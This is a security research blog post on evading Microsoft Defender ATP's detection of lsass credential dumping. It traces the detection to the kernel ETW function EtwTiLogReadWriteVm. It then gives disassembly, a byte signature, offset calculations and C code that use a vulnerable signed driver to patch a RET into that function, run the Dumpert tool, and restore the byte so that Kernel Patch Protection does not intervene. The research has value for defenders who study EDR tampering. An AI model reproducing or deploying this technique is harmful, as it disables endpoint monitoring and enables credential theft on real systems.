Intro

A few weeks ago uf0 and myself took some time to understand how WinDefender ATP credential-theft. We were intrigued by this words in the presentation post

"A statistical approach to detecting credential theft. Reviewing the behavior of multiple known tools, we see that the number and size of memory reads from the lsass.exe process related to credential dumping are highly predictable. "

We started our research from Ring3 but, even if we identified a possible way to escape this control, we have not seen any hook types on NtReadVirtualMemory. So we took a look at what's going on inside NtReadVirtualMemory.

Dumpert vs ATP

Dumpert is a tool to dump the lsass process memory. It uses direct syscall and Native API unhook to evade AV and EDR controls. While this type of approach is effective against detection based on API hooking, Dumpert is unable to evdate MDATP detection mechanisms.

With my friend uf0, while shooting at MDATP logic, we found a user-mode way to evade control over the strength of the credentials between a known API PssCaptureSnapshot. During the research, at least in user mode, we did not find any traces of hook or anything set by ATP. So it is legitimate to think that any detection is performed from Ring0.

How ATP trace ReadVirtualMemory

Dumpert is based on the MiniDumpWriteDump function which, in turn, is based on NtReadVirtualMemory. Even when unhooking, the code that is actually executed is the following.

0:002> uf ntdll!NtReadVirtualMemory
ntdll!NtReadVirtualMemory:
00007fff`11e5c890 4c8bd1          mov     r10,rcx
00007fff`11e5c893 b83f000000      mov     eax,3Fh
00007fff`11e5c898 f604250803fe7f01 test    byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
00007fff`11e5c8a0 7503            jne     ntdll!NtReadVirtualMemory+0x15 (00007fff`11e5c8a5)  Branch

ntdll!NtReadVirtualMemory+0x12:
00007fff`11e5c8a2 0f05            syscall
00007fff`11e5c8a4 c3              ret

ntdll!NtReadVirtualMemory+0x15:
00007fff`11e5c8a5 cd2e            int     2Eh
00007fff`11e5c8a7 c3              ret

The syscall transfers the context from user mode to kernel mode. If we dive into the implementation of nt!NtReadVirtualMemory we find inside the call to nt!MiReadWriteVirtualMemory.

lkd> uf nt!NtReadVirtualMemory
nt!NtReadVirtualMemory:
fffff801`25a22a80 4883ec38        sub     rsp,38h
fffff801`25a22a84 488b442460      mov     rax,qword ptr [rsp+60h]
fffff801`25a22a89 c744242810000000 mov     dword ptr [rsp+28h],10h
fffff801`25a22a91 4889442420      mov     qword ptr [rsp+20h],rax
fffff801`25a22a96 e815000000      call    nt!MiReadWriteVirtualMemory (fffff801`25a22ab0)
fffff801`25a22a9b 4883c438        add     rsp,38h
fffff801`25a22a9f c3              ret

In recent windows versions, before reading the target memory, the kernel checks that the call occurs from user mode, to prevent it from reading a protected processes or kernel address space. As you can see below, in addition to the checks mentioned, there is a call to nt!EtwTiLogReadWriteVm. So, to log the event, ATP uses Etw and this is where the nt!NtReadVirtualMemory is logged.

lkd> uf nt!MiReadWriteVirtualMemory
.
.
.

nt!MiReadWriteVirtualMemory+0x1ce:
fffff801`25a22c7e 48897c2428      mov     qword ptr [rsp+28h],rdi
fffff801`25a22c83 4c89642420      mov     qword ptr [rsp+20h],r12
fffff801`25a22c88 448bca          mov     r9d,edx
fffff801`25a22c8b 4d8bc6          mov     r8,r14
fffff801`25a22c8e 498bd2          mov     rdx,r10
fffff801`25a22c91 8bce            mov     ecx,esi
fffff801`25a22c93 ebe8e8f70200      call    nt!EtwTiLogReadWriteVm (fffff801`25a52480)
fffff801`25a22c98 eb90            jmp     nt!MiReadWriteVirtualMemory+0x17a (fffff801`25a22c2a) 
.
.
.

lkd> uf nt!EtwTiLogReadWriteVm
nt!EtwTiLogReadWriteVm:
fffff801`25a52480 48895c2420      mov     qword ptr [rsp+20h],rbx
fffff801`25a52485 894c2408        mov     dword ptr [rsp+8],ecx
fffff801`25a52489 55              push    rbp
fffff801`25a5248a 56              push    rsi
fffff801`25a5248b 57              push    rdi
.
.

nt!EtwTiLogReadWriteVm+0x175667:
.
.
.
fffff801`25bc7b4d e8161796ff      call    nt!EtwpTiFillProcessIdentity (fffff801`25529268)
fffff801`25bc7b52 4403c8          add     r9d,eax
fffff801`25bc7b55 488d8db0000000  lea     rcx,[rbp+0B0h]
fffff801`25bc7b5c 418bc1          mov     eax,r9d
fffff801`25bc7b5f ba08000000      mov     edx,8
fffff801`25bc7b64 4803c0          add     rax,rax
fffff801`25bc7b67 41ffc1          inc     r9d
fffff801`25bc7b6a 4533c0          xor     r8d,r8d
fffff801`25bc7b6d 8364c44c00      and     dword ptr [rsp+rax*8+4Ch],0
fffff801`25bc7b72 48894cc440      mov     qword ptr [rsp+rax*8+40h],rcx
fffff801`25bc7b77 488d8db8000000  lea     rcx,[rbp+0B8h]
fffff801`25bc7b7e 8954c448        mov     dword ptr [rsp+rax*8+48h],edx
fffff801`25bc7b82 418bc1          mov     eax,r9d
fffff801`25bc7b85 4803c0          add     rax,rax
fffff801`25bc7b88 8364c44c00      and     dword ptr [rsp+rax*8+4Ch],0
fffff801`25bc7b8d 48894cc440      mov     qword ptr [rsp+rax*8+40h],rcx
fffff801`25bc7b92 41ffc1          inc     r9d
fffff801`25bc7b95 488b0de4d0c6ff  mov     rcx,qword ptr [nt!EtwThreatIntProvRegHandle (fffff801`25834c80)]
fffff801`25bc7b9c 8954c448        mov     dword ptr [rsp+rax*8+48h],edx
fffff801`25bc7ba0 488d442440      lea     rax,[rsp+40h]
fffff801`25bc7ba5 488bd3          mov     rdx,rbx
fffff801`25bc7ba8 4889442420      mov     qword ptr [rsp+20h],rax
fffff801`25bc7bad e8ce0e8aff      call    nt!EtwWrite (fffff801`25468a80)
fffff801`25bc7bb2 90              nop
fffff801`25bc7bb3 e939a9e8ff      jmp     nt!EtwTiLogReadWriteVm+0x71 (fffff801`25a524f1)  Branch

Tampering the kernel

Now that we know where the read notification occurs, it is possible to think about a way to use Dumpert without ATP performing the detection via Etw. For example, if we patch the kernel by inserting a RET at the begining of nt! EtwTiLogReadWriteVm function we can bypass any logging. And probably don’t generate the alert from MDATP. Thinking about kernel patching, all we need is to being able to write in the kernel memory space from Ring3. At first we thought - for the purpose of PoC - to develop a useful driver for our purposes. Then I remembered a chat discussion with Cn33liz in which he gave me the example of code executed in Ring0 through a vulnerable driver. He mentioned a post Weaponizing vulnerable driver for privilege escalation— Gigabyte Edition! where you can see an example of weaponization of a vulnerable diver for priv esc and removal of Process Protect Mode. With the ability to perform reads and writes from kernel mode, we have to find a signature to look for. We are working on Windows 10 1909 and our reference is

fffff804`0e45291c 4183f910        cmp     r9d,10h
fffff804`0e452920 b800000c00      mov     eax,0C0000h
fffff804`0e452925 41b800000300    mov     r8d,30000h

With windbg we can check if the signature is unique in our search range with

lkd> s -[1]b nt L0x1000000 41 83 f9 10 b8 00 00 0c 00 41 b8 00 00 03 00
0xfffff804`0e45291c

Now to calculate back offset

lkd> ? fffff804`0e45291c - nt!EtwTiLogReadWriteVm
Evaluate expression: 76 = 00000000`0000004c

To recover the base address of the kernel we can use NtQuerySystemInformation with SystemModuleInformation as SystemInformationClass

if (!NT_SUCCESS(status = NtQuerySystemInformation(SystemModuleInformation, ModuleInfo, 1024 * 1024, NULL)))
{
  printf("\nError: Unable to query module list (%#x)\n", status);

  VirtualFree(ModuleInfo, 0, MEM_RELEASE);
  return -1;
}

So, iterating between the loaded modules, we look for ntoskrnl.exe and apply the patch to the offset obtained searching the pattern we idetified minus the back offset calulated with windbg.

for (i = 0; i < ModuleInfo->NumberOfModules; i++)
{
    if (strcmp((char *)(ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName), "ntoskrnl.exe") == 0)
    {
	printf("[+] Kernel address: %#x\n", ModuleInfo->Modules[i].ImageBase);

	uintptr_t pml4 = find_directory_base(ghDriver);
	printf("\n");

	BOOL result = read_virtual_memory(ghDriver, pml4, (uintptr_t)ModuleInfo->Modules[i].ImageBase, buffer, searchlen);
	if(result)
	{
	    DWORD offset = searchSign((unsigned char*)buffer, signature, sizeof(signature));
	    free(buffer);
	    printf("[*] Offset %d\n", offset - backoffset);

	    patchFunction(ModuleInfo->Modules[i].ImageBase, pml4, offset - backoffset, "EtwTiLogReadWriteVm");

	    printf("[+] Run your command now\n");

	    int retCode = system(argv[1]);

	    printf("\n\n");
            printf("[+] Execution finished with exit code: %d\n", retCode);
	}
	else
	{
	    printf("[*] Errore reading kernel memory \n");
	}
    }
}

When we tried to execute the PoC for the first time what we expected was a great success or a BSOD. Reality has been liying in the middle. Our tool has applied the patch and the execution of Dumper has not raised alarms, but after a few minutes the workstation has restarted. Checking in event viewer we found logged the 1001 (EventData 0x00000109) code sign of the Kernel Patch Protection intervention.

Kernel Patch Protection periodically performs a check to make sure that the kernel’s protected system structures have not changed. If a change is detected, the result is a blue screen and / or a restart.

Our intention was not exactly to find a bypass for patch guards, but at least to limit the annoyance of the BSOD itself. We know that the KPP check routine is hit our patch every 5 to 10 minutes, and that our execution time is a few seconds. The idea is to have the kernel patched only for the time necessary to perform the operation, at the end restore the initial state. Partial source code with relevant part is available here here.

for (i = 0; i < ModuleInfo->NumberOfModules; i++)
{
    if (strcmp((char *)(ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName), "ntoskrnl.exe") == 0)
    {
	printf("[+] Kernel address: %#x\n", ModuleInfo->Modules[i].ImageBase);

	uintptr_t pml4 = find_directory_base(ghDriver);
	printf("\n");

	BOOL result = read_virtual_memory(ghDriver, pml4, (uintptr_t)ModuleInfo->Modules[i].ImageBase, buffer, searchlen);
	if(result)
	{
	    DWORD offset = searchSign((unsigned char*)buffer, signature, sizeof(signature));
	    free(buffer);
	    printf("[*] Offset %d\n", offset - backoffset);

	    BYTE EtwTiLogReadWriteVmOri = patchFunction(ModuleInfo->Modules[i].ImageBase, pml4, offset - backoffset, "EtwTiLogReadWriteVm");

	    printf("[+] Run your command now\n");

	    int retCode = system(argv[1]);

	    printf("\n\n");
            printf("[+] Execution finished with exit code: %d\n", retCode);
	    printf("[+] Proceed to restore previous state.\n");

	    patchFunction(ModuleInfo->Modules[i].ImageBase, pml4, offset - backoffset, "EtwTiLogReadWriteVm", EtwTiLogReadWriteVmOri);
	}
	else
	{
	    printf("[*] Errore reading kernel memory \n");
	}
    }
}

Conclusion

Based on our observations, the probability of catching the exact moment when the control turns is low and the single byte patch does his job. MDATP's instrumentation is much more than this single sensor, and we've played a dirty game to disable tracing. We wonder how it is possible that this specific driver is still allowed in the OS.